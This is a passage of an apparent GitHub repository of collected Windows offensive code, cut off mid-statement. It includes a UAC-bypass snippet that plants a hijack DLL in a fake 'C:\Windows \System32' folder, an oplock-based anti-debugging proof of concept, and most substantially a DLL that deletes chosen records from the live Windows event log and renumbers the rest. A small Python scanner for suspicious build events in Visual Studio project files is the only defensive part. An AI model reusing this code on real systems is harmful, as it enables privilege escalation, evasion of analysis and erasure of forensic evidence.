├── Code Source.rar ├── QuickUnpackSrc.zip ├── README.md ├── UAC_MOCK.cpp ├── anti-dbg-poc.cpp ├── checkvsfile.py └── eventlogedit └── src ├── Common.h ├── EventLogEditDll.cpp ├── EventLogEditDll.def └── EventLogEditDll.h /Code Source.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/killvxk/CodeStudy/a6ae2378c20886891ebfaa0ce0403671f48211f3/Code Source.rar -------------------------------------------------------------------------------- /QuickUnpackSrc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/killvxk/CodeStudy/a6ae2378c20886891ebfaa0ce0403671f48211f3/QuickUnpackSrc.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CodeStudy 2 | 逆的或者收集的别人家的代码 3 | 4 | # eventlogedit 5 | 收集自看雪,加了点注释,原帖https://bbs.pediy.com/thread-219313.htm 6 | 7 | # Mock 8 | uac_mock.cpp 空格mock的无力吐槽的行为 9 | 10 | # Code Source.rar 11 | 一个壳代码,收集来自:https://bbs.pediy.com/thread-250530.htm 12 | 13 | # QuickUnpackSrc.zip 14 | 古代代码 15 | 16 | # anti-dbg-poc 17 | 不知道谁给我,我觉得不错,顺手贴这里了 18 | -------------------------------------------------------------------------------- /UAC_MOCK.cpp: -------------------------------------------------------------------------------- 1 | CreateDirectoryW(L"\\\\?\\C:\\Windows \\", nullptr); 2 | CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", nullptr); 3 | CopyFileW(L"C:\\Windows\\System32\\SystemPropertiesAdvanced.exe", L"\\\\?\\C:\\Windows \\System32\\SystemPropertiesAdvanced.exe", false); 4 | DropResource(MAKEINTRESOURCE(IDR_DATA1), L"DATA", L"\\\\?\\C:\\Windows \\System32\\srrstr.dll"); 5 | _SHELLEXECUTEINFOW se = {}; 6 | se.cbSize = sizeof(_SHELLEXECUTEINFOW); 7 | se.lpFile = L"C:\\Windows \\System32\\SystemPropertiesAdvanced.exe"; 8 | se.lpParameters = nullptr; 9 | se.nShow = SW_SHOW; 10 | se.hwnd = NULL; 11 | se.lpDirectory = NULL; 12 | ShellExecuteEx(&se); 13 | -------------------------------------------------------------------------------- /anti-dbg-poc.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "phnt.h" 5 | 6 | // This is only stalemate antidebug example, as by the time oskrnl on behalf of attaching debugger attempts to 7 | // open the file, all our threads are already suspended. Thus both our process and debugger are deadlocked. 8 | // 9 | // That won't be true for opening main exe image file and ntdll, as only the very first process thread is suspended 10 | // at that point. Now consider that filename changes are not tracked, so you can rename image or stream, and put 11 | // other file in its place. This means non-deadlocking variant of this is possible. 12 | // 13 | // To continue running while having debugger blocked, we need threadX (other than 0) to put oplock on our main 14 | // image file (or at least on the file where our image file originally was). 15 | // Oplock break request would then arrive with only thread0 suspended; threadX will be woken up for oplock break, 16 | // and can inspect situation and resume thread0. Resumed thread0 shall put oplock on some new PEB.Ldr module, 17 | // and once oplock break on that requested, thread0 can resume other threads (including threadX). And threadX 18 | // should break main image oplock and reestablish it, possible with a "new" main image file. 19 | 20 | int __cdecl wmain() 21 | { 22 | // load rare module, so it'll be in our PEB.Ldr list; 23 | // no one shall molest it; but to let honest apps touch it, use some own module in ads instead 24 | HMODULE hauLib = LoadLibraryExW(L"KBDHAU.DLL", {}, LOAD_LIBRARY_SEARCH_SYSTEM32); 25 | if (!hauLib) 26 | return printf("[-] failed to load kbdhau.dll\n"), STATUS_NO_SUCH_FILE; 27 | printf("[+] loaded kbdhau.dll\n"); 28 | 29 | // open rare file and request oplock; we don't intend to break it 30 | HANDLE hauFile; // ~ 31 | IO_STATUS_BLOCK iosb; 32 | NTSTATUS st = NtOpenFile(&hauFile, SYNCHRONIZE, // whatever rights 33 | ObjAttr(L"\\SystemRoot\\System32\\KBDHAU.DLL"), 34 | &iosb, FILE_SHARE_RWD, FILE_OPEN_REQUIRING_OPLOCK|FILE_NON_DIRECTORY_FILE); 35 | if (FAILED(st)) 36 | return printf("[-] file open failed: %08X\n", st), st; 37 | 38 | // let sysmon/procmon/whatever do the job (yes... not the scope right now) 39 | printf("[ ] waiting a bit so as not to block more than we want...\n"); 40 | LARGE_INTEGER timeout{.QuadPart = -10'000'000*3}; 41 | NtDelayExecution(true, &timeout); 42 | 43 | REQUEST_OPLOCK_INPUT_BUFFER inp 44 | { 45 | .StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION, 46 | .StructureLength = sizeof(inp), 47 | .RequestedOplockLevel = // sort of batch oplock 48 | OPLOCK_LEVEL_CACHE_READ|OPLOCK_LEVEL_CACHE_HANDLE|OPLOCK_LEVEL_CACHE_WRITE, 49 | .Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST 50 | }; 51 | REQUEST_OPLOCK_OUTPUT_BUFFER out{}; 52 | iosb.Status = STATUS_PENDING; // for manual check, as we don't use event for ioctl here 53 | st = NtFsControlFile(hauFile, {}, {}, {}, &iosb, FSCTL_REQUEST_OPLOCK, 54 | &inp, sizeof(inp), &out, sizeof(out)); 55 | if (FAILED(st)) 56 | return printf("[-] oplock request failed: %08X\n", st), st; 57 | printf("[+] oplock request granted\n"); 58 | 59 | // add console handler for better experience 60 | static bool s_shouldRundown; 61 | SetConsoleCtrlHandler([](ULONG) -> BOOL 62 | { 63 | s_shouldRundown = true; 64 | HANDLE thread0{}; 65 | NtGetNextThread(NtCurrentProcess(), {}, THREAD_ALERT, 0, 0, &thread0); 66 | NtAlertThread(thread0); 67 | NtClose(thread0); 68 | return true; 69 | }, TRUE); 70 | 71 | for (ULONG count = 0;; ++count) 72 | { 73 | NtDelayExecution(true, &timeout); 74 | if (s_shouldRundown) 75 | break; 76 | if (iosb.Status == STATUS_PENDING) 77 | printf("[ ] %05u: nothing happened\n", count); 78 | else 79 | { 80 | // we won't ack/break oplock though, so this is one-time message 81 | printf("[*] %05u: someone tried to open kbdhau.dll:\n" 82 | " orig oplock level: %u, new level: %u, flags: %08X,\n" 83 | " access: %08X, share mode: %u, iosb: %08X/%016I64X\n", 84 | count, out.OriginalOplockLevel, out.NewOplockLevel, out.Flags, 85 | out.AccessMode, out.ShareMode, iosb.Status, iosb.Information); 86 | iosb.Status = STATUS_PENDING; 87 | continue; 88 | } 89 | } 90 | printf("running down...\n"); 91 | NtCancelIoFileEx(hauFile, &iosb, &iosb); 92 | NtClose(hauFile); 93 | 94 | ULONG dummy; 95 | if (GetConsoleMode(GetStdHandle(STD_OUTPUT_HANDLE), &dummy) && GetConsoleProcessList(&dummy, 1) <= 1) 96 | { 97 | printf("press any key to continue...\n"); 98 | _flushall(); 99 | int c = _getch(); 100 | if (!c || c == 0xE0) // arrow or function key, need to read one more 101 | (void)_getch(); 102 | } 103 | 104 | return 0; 105 | } 106 | -------------------------------------------------------------------------------- /checkvsfile.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import xml.etree.ElementTree as ET 4 | 5 | def check_common(foldername, filename): 6 | tree = ET.parse(os.path.join(foldername, filename)) 7 | root = tree.getroot() 8 | namespaces = {'ns': root.tag.split('}')[0].strip('{')} 9 | 10 | # Check 11 | for target in root.findall(".//ns:Target[@Name='GetFrameworkPaths']", namespaces): 12 | print(f'Found({filename}) ') 13 | 14 | # Check 15 | for com_file_ref in root.findall(".//ns:COMFileReference", namespaces): 16 | include_attr = com_file_ref.get('Include') 17 | if include_attr: 18 | print(f'Found({filename}) ') 19 | 20 | # Check 21 | for pre_build_event in root.findall(".//ns:PreBuildEvent", namespaces): 22 | for command in pre_build_event.findall(".//ns:Command", namespaces): 23 | print(f'Found({filename}) PreBuildEvent command: {command.text}') 24 | 25 | # Check 26 | for pre_build_event in root.findall(".//ns:PreLinkEvent", namespaces): 27 | for command in pre_build_event.findall(".//ns:Command", namespaces): 28 | print(f'Found({filename}) PreLinkEvent command: {command.text}') 29 | 30 | # Check 31 | for pre_build_event in root.findall(".//ns:PostBuildEvent", namespaces): 32 | for command in pre_build_event.findall(".//ns:Command", namespaces): 33 | print(f'Found({filename}) PostBuildEvent command: {command.text}') 34 | 35 | # Check m_serializedClaims 36 | def check_serialized_claims(foldername, filename): 37 | with open(foldername + "\\" + filename, 'rb') as file: 38 | content = file.read() 39 | if b'm_serializedClaims' in content: 40 | print(f'Found({filename}) m_serializedClaims') 41 | 42 | def scan_folder(path): 43 | for foldername, subfolders, filenames in os.walk(path): 44 | for filename in filenames: 45 | if filename.endswith('.vcxproj'): 46 | check_common(foldername, filename) 47 | elif filename.endswith('.suo'): 48 | check_serialized_claims(foldername, filename) 49 | 50 | def main(): 51 | if len(sys.argv) < 2: 52 | print('Please input the directory you want to check.') 53 | return 54 | 55 | path = sys.argv[1] 56 | scan_folder(path) 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /eventlogedit/src/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef COMMON_H 3 | #define COMMON_H 4 | 5 | #define SUCCESSED 0 6 | #define FAILURE 1 7 | #define FAILURE_OBJECT_NOT_FOUND 2 8 | #define FAILURE_NOT_MAP_FILE 3 9 | #define FAILURE_INVALID_RECORD 4 10 | 11 | typedef struct _TARGET_RECORD 12 | { 13 | ULONG64 RecordNumber; 14 | WCHAR EventLogName[0x50]; 15 | } TARGET_RECORD, *PTARGET_RECORD; 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /eventlogedit/src/EventLogEditDll.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "EventLogEditDll.h" 4 | #include "Common.h" 5 | 6 | #define LIBAPI extern "C" __declspec(dllexport) 7 | #define OFFSET_BLOCK_COUNT 6 8 | 9 | #ifdef _WIN64 10 | OFFSETBLOCK OffsetBlockArray[OFFSET_BLOCK_COUNT] = 11 | { 12 | { 0x00060000, 0x17704002, 0xc59cc, 0x7a4ab, 0xbc7c8, 0xbd500, 0xc0268, 0xbd71c, 0xc012c, 0x58, 0x18, 0x98, 0xc0, 0x308, 0x330, 0x38c, 0x0 }, 13 | { 0x00060000, 0x17714650, 0xca7a0, 0x7ea29, 0xc1470, 0xc214c, 0xc4f00, 0xc2368, 0xc4dc4, 0x58, 0x18, 0x98, 0xc0, 0x308, 0x330, 0x38c, 0x0 }, 14 | { 0x00060000, 0x17724655, 0xcab44, 0x7f385, 0xc1884, 0xc2560, 0xc5314, 0xc277c, 0xc51d8, 0x58, 0x18, 0x98, 0xc0, 0x308, 0x330, 0x38c, 0x0 }, 15 | { 0x00060001, 0x1db04001, 0x7908, 0x3036a, 0x18ea0, 0x7248, 0xa14f4, 0x1d504, 0xa13e0, 0x58, 0x18, 0xb0, 0xd8, 0x328, 0x350, 0x3ac, 0x0 }, 16 | { 0x00060001, 0x1db1446a, 0x74a0, 0x36e3a, 0x1695c, 0x4cb4, 0xa0a80, 0x2645c, 0xa0968, 0x58, 0x18, 0xb0, 0xd8, 0x328, 0x350, 0x3ac, 0x0 }, 17 | { 0x00060002, 0x23f04000, 0x10e0, 0x5a249, 0x17a40, 0x61d0, 0x92618, 0x1a0f0, 0x91d3c, 0x58, 0x18, 0xb0, 0xd8, 0x330, 0x358, 0x3b4, 0x0 } 18 | }; 19 | 20 | ULONG UnknownArray1[] = { 0xc8, 0x00, 0xcc, 0x00, 0xdc, 0x00, 0xe0, 0x00, 0x120, 0xffffffff, 0x124, 0xffffffff, 0x364, 0x00, 0x370, 0x00 }; 21 | ULONG UnknownArray2[] = { 0x18, 0x00, 0xe0, 0x00, 0xe4, 0x00, 0x100, 0x00, 0x104, 0x00, 0x140, 0xffffffff, 0x144, 0xffffffff, 0x384, 0x00, 0x390, 0x00, 0x3b0, 0x00 }; 22 | ULONG UnknownArray3[] = { 0x18, 0x00, 0xe0, 0x00, 0x108, 0x00, 0x10c, 0x00, 0x148, 0xffffffff, 0x14c, 0xffffffff, 0x38c, 0x00, 0x3b8, 0x00, 0x00, 0x00 }; 23 | 24 | #else 25 | OFFSETBLOCK OffsetBlockArray[OFFSET_BLOCK_COUNT] = 26 | { 27 | { 0x00060000, 0x17704002, 0x1bf0, 0x28ca5, 0x14d94, 0x6eee, 0xa273e, 0x176df, 0x5c38, 0x30, 0x0c, 0x98, 0xb0, 0x2c4, 0x2e0, 0x328, 0x0 }, 28 | { 0x00060000, 0x17714650, 0x192a, 0x12793, 0x18258, 0x6d3a, 0x2674b, 0x21149, 0x49a7, 0x30, 0x0c, 0x98, 0xb0, 0x2c4, 0x2e0, 0x328, 0x0 }, 29 | { 0x00060000, 0x17724655, 0x19ae, 0x2cad1, 0x13f8b, 0x79c1, 0x35e3b, 0x20357, 0x52bd, 0x30, 0x0c, 0x98, 0xb0, 0x2c4, 0x2e0, 0x328, 0x0 }, 30 | { 0x00060001, 0x1db04001, 0x6f63, 0x389f3, 0x183fc, 0x6d5f, 0xac185, 0x32342, 0xabfc7, 0x30, 0x0c, 0xa8, 0xc0, 0x2d4, 0x2f8, 0x340, 0x0 }, 31 | { 0x00060001, 0x1db1446a, 0x6f93, 0x22803, 0x18b25, 0x6522, 0xac24d, 0x2caaa, 0xac09b, 0x30, 0x0c, 0xa8, 0xc0, 0x2d4, 0x2f8, 0x340, 0x0 }, 32 | { 0x00060002, 0x23f04000, 0x7742f, 0x9f745, 0x5d354, 0x58405, 0x762e6, 0x77607, 0xc47e1, 0x30, 0x0c, 0xa8, 0xc0, 0x2e4, 0x300, 0x334, 0x1 } 33 | }; 34 | 35 | ULONG UnknownArray1[] = { 0xb4, 0x00, 0xb8, 0x00, 0xc8, 0x00, 0xcc, 0x00, 0x100, 0xffffffff, 0x104, 0xffffffff, 0x308, 0x00, 0x314, 0x00 }; 36 | ULONG UnknownArray2[] = { 0x10, 0x00, 0xc4, 0x00, 0xc8, 0x00, 0xdc, 0x00, 0xe0, 0x00, 0x118, 0xffffffff, 0x11c, 0xffffffff, 0x320, 0x00, 0x32c, 0x00, 0x344, 0x00 }; 37 | ULONG UnknownArray3[] = { 0x01, 0x00, 0x34, 0x00, 0xc4, 0x00, 0xc8, 0x00, 0xe4, 0x00, 0xe8, 0x00, 0x120, 0xffffffff, 0x124, 0xffffffff, 0x328, 0x00, 0x334, 0x00 }; 38 | 39 | #endif 40 | 41 | EVENT_FILE_FULLFLUSH Event_File_FullFlush = NULL;//public: void File::FullFlush(enum FlushType) 42 | FILE_NOTIFYREADERS File_NotifyReaders = NULL;//private: void File::NotifyReaders(enum NotifyAction) 43 | FILE_READFILEHEADER File_ReadFileHeader = NULL;//File::ReadFileHeader(File *this) 44 | UPDATECRC32 UpdateCRC32 = NULL;//unsigned int __fastcall UpdateCRC32(const unsigned __int8 *, int, unsigned int) 45 | 46 | POFFSETBLOCK OffsetBlock = NULL; 47 | PVOID UnknownObject = NULL; 48 | 49 | BOOL GetOffsetBlock() 50 | { 51 | typedef BOOL(WINAPI *VERQUERYVALUEW)(LPCVOID, PCWSTR, LPVOID *, PUINT); 52 | typedef BOOL(WINAPI *GETFILEVERSIONINFOW)(PCWSTR, DWORD, DWORD, LPVOID); 53 | typedef DWORD(WINAPI *GETFILEVERSIONINFOSIZEW)(PCWSTR, LPDWORD); 54 | 55 | BOOL result = FALSE; 56 | HMODULE versionModule = LoadLibrary(TEXT("Version.dll")); 57 | if (versionModule) 58 | { 59 | VERQUERYVALUEW funcVerQueryValueW = (VERQUERYVALUEW) 60 | GetProcAddress(versionModule, "VerQueryValueW"); 61 | GETFILEVERSIONINFOW funcGetFileVersionInfoW = (GETFILEVERSIONINFOW) 62 | GetProcAddress(versionModule, "GetFileVersionInfoW"); 63 | GETFILEVERSIONINFOSIZEW funcGetFileVersionInfoSizeW = (GETFILEVERSIONINFOSIZEW) 64 | GetProcAddress(versionModule, "GetFileVersionInfoSizeW"); 65 | 66 | if (funcVerQueryValueW && funcGetFileVersionInfoW && funcGetFileVersionInfoSizeW) 67 | { 68 | DWORD verInfoSize = funcGetFileVersionInfoSizeW(L"wevtsvc.dll", NULL); 69 | if (verInfoSize) 70 | { 71 | PVOID verInfo = VirtualAlloc(NULL, verInfoSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 72 | 73 | if (verInfo) 74 | { 75 | if (funcGetFileVersionInfoW(L"wevtsvc.dll", 0, verInfoSize, verInfo)) 76 | { 77 | VS_FIXEDFILEINFO *fileInfo = NULL; 78 | UINT len = 0; 79 | if (funcVerQueryValueW(verInfo, L"\\", (PVOID *)&fileInfo, &len)) 80 | { 81 | if (fileInfo) 82 | { 83 | for (UINT i = 0; i < OFFSET_BLOCK_COUNT; i++) 84 | { 85 | if (fileInfo->dwFileVersionMS == OffsetBlockArray[i].FileVersionMS && 86 | fileInfo->dwFileVersionLS == OffsetBlockArray[i].FileVersionLS) 87 | { 88 | OffsetBlock = &OffsetBlockArray[i]; 89 | result = TRUE; 90 | break; 91 | } 92 | } 93 | } 94 | } 95 | } 96 | 97 | VirtualFree(verInfo, 0, MEM_RELEASE); 98 | } 99 | } 100 | } 101 | 102 | FreeLibrary(versionModule); 103 | } 104 | 105 | return result; 106 | } 107 | 108 | BOOL GetObjectFromOffset() 109 | { 110 | BOOL result = FALSE; 111 | HMODULE wevtsvc = GetModuleHandle(TEXT("wevtsvc.dll")); 112 | PBYTE ptr_EventService_vftable = NULL; 113 | 114 | if (wevtsvc) 115 | { 116 | PBYTE ptr = (PBYTE)wevtsvc + OffsetBlock->Offset[1];//g_service@@3PEAVEventService@@EA 117 | DWORD v1 = 0; 118 | DWORD v2 = 0; 119 | 120 | do 121 | { 122 | v2 = v2 + (*ptr++ << v1); 123 | v1 += 8; 124 | } while (v1 < 0x20); 125 | #ifdef _WIN64 126 | ptr_EventService_vftable = *(PBYTE *)(ptr + v2); 127 | #else 128 | ptr_EventService_vftable = *(PBYTE *)v2; 129 | #endif 130 | 131 | if (ptr_EventService_vftable) 132 | { 133 | Event_File_FullFlush = (EVENT_FILE_FULLFLUSH)((PBYTE)wevtsvc + OffsetBlock->Offset[4]); 134 | File_NotifyReaders = (FILE_NOTIFYREADERS)((PBYTE)wevtsvc + OffsetBlock->Offset[6]); 135 | File_ReadFileHeader = (FILE_READFILEHEADER)((PBYTE)wevtsvc + OffsetBlock->Offset[5]); 136 | UpdateCRC32 = (UPDATECRC32)((PBYTE)wevtsvc + OffsetBlock->Offset[0]); 137 | 138 | if (Event_File_FullFlush && 139 | File_NotifyReaders && 140 | File_ReadFileHeader && 141 | UpdateCRC32) 142 | { 143 | ULONG_PTR v1 = *(PULONG_PTR)(ptr_EventService_vftable + OffsetBlock->Offset[7]); 144 | if (v1) 145 | { 146 | UnknownObject = (PVOID)(v1 + OffsetBlock->Offset[8]); 147 | result = UnknownObject == NULL ? FALSE : TRUE; 148 | } 149 | } 150 | } 151 | } 152 | 153 | return result; 154 | } 155 | 156 | PVOID GetUnknownObject(PCWSTR logName) 157 | { 158 | PVOID retObject = NULL; 159 | PULONG_PTR ptr = (PULONG_PTR)UnknownObject; 160 | DWORD max = (*(ptr + 1) - *ptr) / sizeof(ULONG_PTR); 161 | 162 | if (max) 163 | { 164 | DWORD count = 0; 165 | PULONG_PTR objectTable = (PULONG_PTR)(*ptr); 166 | 167 | while (count < 0x3e8) 168 | { 169 | ULONG_PTR object = *objectTable; 170 | 171 | if (object) 172 | { 173 | ULONG_PTR str = object + OffsetBlock->Offset[12]; 174 | if (str && *(PDWORD)(str + 16) >= 8) 175 | str = *(PULONG_PTR)str; 176 | PWSTR str1 = *(PWSTR *)(OffsetBlock->Offset[11] + object); 177 | 178 | if ((str && !_wcsicmp((PWSTR)str, logName)) || 179 | (str1 && !_wcsicmp(str1, logName))) 180 | { 181 | retObject = (PVOID)object; 182 | break; 183 | } 184 | } 185 | 186 | objectTable++; 187 | count += 1; 188 | } 189 | } 190 | 191 | return retObject; 192 | } 193 | 194 | PVOID GetTemplateIdentifierPtr(PBYTE chunkPtr, PBYTE recordPtr, PULONG a3) 195 | { 196 | if (recordPtr) 197 | { 198 | PBYTE xmlDataPtr = recordPtr + 24; 199 | 200 | if (0x1010f != *(PULONG)xmlDataPtr) 201 | { 202 | while (0x0b == *xmlDataPtr) 203 | xmlDataPtr += 2 * *(PWORD)(xmlDataPtr + 1) + 3; 204 | } 205 | 206 | PBYTE templateInstance = NULL; 207 | if (0x0c == *(xmlDataPtr + 4)) 208 | templateInstance = xmlDataPtr + 4; 209 | if (templateInstance) 210 | { 211 | PBYTE v8 = NULL; 212 | 213 | if ((ULONG_PTR)templateInstance - (ULONG_PTR)chunkPtr + 10 == 214 | *(PULONG)(templateInstance + 6)) 215 | { 216 | v8 = templateInstance + 14; 217 | } 218 | else 219 | { 220 | ULONG templateDefinitionOffset = *(PULONG)(templateInstance + 6); 221 | ULONG tmp = (ULONG)(recordPtr - chunkPtr); 222 | if (templateDefinitionOffset < tmp || templateDefinitionOffset > tmp + *(PULONG)(recordPtr + 4)) 223 | goto LABEL; 224 | v8 = templateDefinitionOffset + chunkPtr + 4; 225 | } 226 | if (v8) 227 | { 228 | if (*(PULONG)v8 == *(PULONG)(templateInstance + 2)) 229 | { 230 | ULONG tmp = *(PULONG)(v8 + 16); 231 | *a3 = *(PULONG)(tmp + v8 + 20); 232 | return tmp + v8 + 24; 233 | } 234 | return NULL; 235 | } 236 | LABEL: 237 | *a3 = *(PULONG)(templateInstance + 10); 238 | return templateInstance + 14; 239 | } 240 | } 241 | 242 | return NULL; 243 | } 244 | 245 | PVOID ModifyRecordNumber(PBYTE chunkPtr, PEVENT_RECORD recordPtr, ULONG64 eventRecordIdentifier) 246 | { 247 | ULONG v9 = 0; 248 | PWORD templateIdentifierPtr = (PWORD)GetTemplateIdentifierPtr(chunkPtr, (PBYTE)recordPtr, &v9); 249 | 250 | if (templateIdentifierPtr) 251 | { 252 | ULONG count = 10; 253 | PULONG64 v7 = (PULONG64)&templateIdentifierPtr[2 * v9]; 254 | 255 | do 256 | { 257 | WORD v8 = *templateIdentifierPtr; 258 | templateIdentifierPtr += 2; 259 | v7 = (PULONG64)((PBYTE)v7 + v8); 260 | --count; 261 | } while (count); 262 | *v7 = eventRecordIdentifier; 263 | recordPtr->EventRecordIdentifier = eventRecordIdentifier; 264 | } 265 | 266 | return templateIdentifierPtr; 267 | } 268 | 269 | PVOID GetTemplateInstancePtr(PBYTE recordPtr) 270 | { 271 | PBYTE result = NULL; 272 | 273 | if (recordPtr) 274 | { 275 | PBYTE xmlDataPtr = recordPtr + 24; 276 | 277 | if (0x1010f != *(PULONG)(recordPtr + 24)) 278 | { 279 | while (0xb == *xmlDataPtr) 280 | xmlDataPtr += 2 * *(PWORD)(xmlDataPtr + 1) + 3; 281 | } 282 | if (0x0c == *(xmlDataPtr + 4)) 283 | result = xmlDataPtr + 4; 284 | } 285 | 286 | return result; 287 | } 288 | 289 | PVOID GetTemplateDefinition(PBYTE chunkPtr, PEVENT_RECORD recordPtr, PBYTE templateInstancePtr) 290 | { 291 | PBYTE result = NULL; 292 | 293 | do 294 | { 295 | if (!recordPtr || !templateInstancePtr) 296 | break; 297 | if ((ULONG_PTR)templateInstancePtr - (ULONG_PTR)chunkPtr + 10 == 298 | *(PULONG)(templateInstancePtr + 6)) 299 | return templateInstancePtr + 14; 300 | 301 | ULONG templateDefinitionOffset = *(PULONG)(templateInstancePtr + 6); 302 | ULONG64 v6 = (ULONG64)((PBYTE)recordPtr - chunkPtr); 303 | if ((templateDefinitionOffset >= v6) && 304 | (templateDefinitionOffset <= v6 + recordPtr->Size)) 305 | result = templateDefinitionOffset + chunkPtr + 4; 306 | } while (FALSE); 307 | 308 | return result; 309 | } 310 | 311 | ULONG DeleteRecord(PVOID mapAddress, ULONG64 recordNumber) 312 | { 313 | ULONG result = FAILURE; 314 | PELFFILE_HEADER elfFilePtr = (PELFFILE_HEADER)mapAddress; 315 | 316 | do 317 | { 318 | if (memcmp(mapAddress, "ElfFile", 8)) 319 | break; 320 | 321 | ULONG crc32 = 0; 322 | BOOL unknownFlag = FALSE; 323 | BOOL deleted = FALSE; 324 | BOOL isSingleRecord = FALSE; 325 | ULONG64 chunkTotal = 0; 326 | ULONG64 chunkCount = 0; 327 | ULONG64 firstChunkNumber = elfFilePtr->FirstChunkNumber; 328 | ULONG64 lastChunkNumber = elfFilePtr->LastChunkNumber; 329 | ULONG numberOfChunk = elfFilePtr->NumberOfChunks; 330 | 331 | if (firstChunkNumber >= 0xffffffff || lastChunkNumber >= 0xffffffff) 332 | break; 333 | if (lastChunkNumber >= firstChunkNumber) 334 | chunkTotal = lastChunkNumber - firstChunkNumber + 1; 335 | else 336 | chunkTotal = lastChunkNumber + numberOfChunk - firstChunkNumber; 337 | 338 | *(PULONG)((PBYTE)elfFilePtr + 118) |= 1; 339 | 340 | while (chunkCount < chunkTotal) 341 | { 342 | ULONG64 chunkOffset = firstChunkNumber + chunkCount; 343 | if (chunkOffset > numberOfChunk) 344 | chunkOffset = chunkOffset - numberOfChunk; 345 | chunkOffset <<= 16; 346 | 347 | PCHUNK_HEADER currentChunk = (PCHUNK_HEADER)(chunkOffset + (PBYTE)elfFilePtr + 0x1000); 348 | if (0xffffffffffffffff != currentChunk->LastEventRecordIdentifier) 349 | { 350 | PEVENT_RECORD prevRecordPtr = NULL; 351 | PEVENT_RECORD currentRecordPtr = NULL; 352 | PEVENT_RECORD nextRecordPtr = (PEVENT_RECORD)((PBYTE)currentChunk + 0x200); 353 | 354 | while (nextRecordPtr) 355 | { 356 | prevRecordPtr = currentRecordPtr; 357 | currentRecordPtr = nextRecordPtr; 358 | nextRecordPtr = (PEVENT_RECORD)((PBYTE)nextRecordPtr + nextRecordPtr->Size); 359 | 360 | if (0x00002a2a != currentRecordPtr->Signature) 361 | break; 362 | 363 | ULONG64 eventRecordIdentifier = currentRecordPtr->EventRecordIdentifier; 364 | if ((eventRecordIdentifier >= currentChunk->LastEventRecordIdentifier) || 365 | (currentRecordPtr == nextRecordPtr)) 366 | nextRecordPtr = NULL; 367 | 368 | if (eventRecordIdentifier >= recordNumber) 369 | { 370 | if (eventRecordIdentifier > recordNumber || deleted) 371 | { 372 | if (deleted) 373 | { 374 | ModifyRecordNumber((PBYTE)currentChunk, currentRecordPtr, eventRecordIdentifier - 1); 375 | } 376 | } 377 | else 378 | { 379 | if (!nextRecordPtr && !prevRecordPtr) 380 | { 381 | currentChunk->FirstEventRecordNumber = 1; 382 | currentChunk->LastEventRecordNumber = 0xffffffffffffffff; 383 | currentChunk->FirstEventRecorIdentifier = 0xffffffffffffffff; 384 | currentChunk->LastEventRecordIdentifier = 0xffffffffffffffff; 385 | currentChunk->LastEventRecordDataOffset = 0; 386 | currentChunk->FreeSpaceOffset = 512; 387 | memset((PBYTE)currentChunk + 128, 0, 0x180); 388 | isSingleRecord = TRUE; 389 | deleted = TRUE; 390 | result = SUCCESSED; 391 | break; 392 | } 393 | if (prevRecordPtr) 394 | { 395 | prevRecordPtr->Size += currentRecordPtr->Size; 396 | *(PULONG)(prevRecordPtr->Size + (PBYTE)prevRecordPtr - 4) = prevRecordPtr->Size; 397 | deleted = TRUE; 398 | result = SUCCESSED; 399 | currentRecordPtr = prevRecordPtr; 400 | } 401 | else 402 | { 403 | PBYTE xmlDataPtr = (PBYTE)currentRecordPtr + 24; 404 | PBYTE currentRecordTemplateInstancePtr = (PBYTE)GetTemplateInstancePtr((PBYTE)currentRecordPtr); 405 | PBYTE nextRecordTemplateInstancePtr = (PBYTE)GetTemplateInstancePtr((PBYTE)nextRecordPtr); 406 | *(PULONG)xmlDataPtr = 0x1010f; 407 | *(PWORD)(xmlDataPtr + 4) = 0x10c; 408 | 409 | if (currentRecordTemplateInstancePtr) 410 | { 411 | if (nextRecordPtr) 412 | { 413 | if (*(PULONG)(currentRecordTemplateInstancePtr + 6) == 414 | *(PULONG)(nextRecordTemplateInstancePtr + 6)) 415 | { 416 | ULONG a3 = 0; 417 | 418 | PBYTE templateIdentifierPtr = (PBYTE)GetTemplateIdentifierPtr((PBYTE)currentChunk, (PBYTE)nextRecordPtr, &a3); 419 | if (templateIdentifierPtr) 420 | { 421 | PBYTE templateDefinition = (PBYTE)GetTemplateDefinition((PBYTE)currentChunk, 422 | currentRecordPtr, 423 | currentRecordTemplateInstancePtr); 424 | 425 | *(PULONG)(templateDefinition + 16) = templateIdentifierPtr - templateDefinition - 24; 426 | currentRecordPtr->Size += nextRecordPtr->Size; 427 | *(PULONG)(currentRecordPtr->Size + (PBYTE)currentRecordPtr - 4) = currentRecordPtr->Size; 428 | currentRecordPtr->WrittenDateAndTime = nextRecordPtr->WrittenDateAndTime; 429 | *(PULONG)(currentRecordTemplateInstancePtr + 10) = *(PULONG)(nextRecordTemplateInstancePtr + 10); 430 | 431 | ModifyRecordNumber((PBYTE)currentChunk, currentRecordPtr, recordNumber); 432 | ModifyRecordNumber((PBYTE)currentChunk, nextRecordPtr, recordNumber); 433 | 434 | deleted = TRUE; 435 | result = SUCCESSED; 436 | } 437 | else 438 | { 439 | ModifyRecordNumber((PBYTE)currentChunk, currentRecordPtr, recordNumber); 440 | ModifyRecordNumber((PBYTE)currentChunk, nextRecordPtr, recordNumber); 441 | 442 | currentRecordPtr->WrittenDateAndTime = nextRecordPtr->WrittenDateAndTime; 443 | *(PULONG64)(currentRecordTemplateInstancePtr + 10) = 444 | *(PULONG)(nextRecordTemplateInstancePtr + 10); 445 | *xmlDataPtr = 11; 446 | *(PWORD)(xmlDataPtr + 1) = 0; 447 | *(xmlDataPtr + 3) = 11; 448 | *(PWORD)(xmlDataPtr + 4) = ((ULONG64)(ULONG)((PBYTE)nextRecordPtr - (PBYTE)currentRecordPtr) - 6) >> 1; 449 | currentRecordPtr->Size += nextRecordPtr->Size; 450 | *(PULONG)(currentRecordPtr->Size + (PBYTE)currentRecordPtr - 4) = 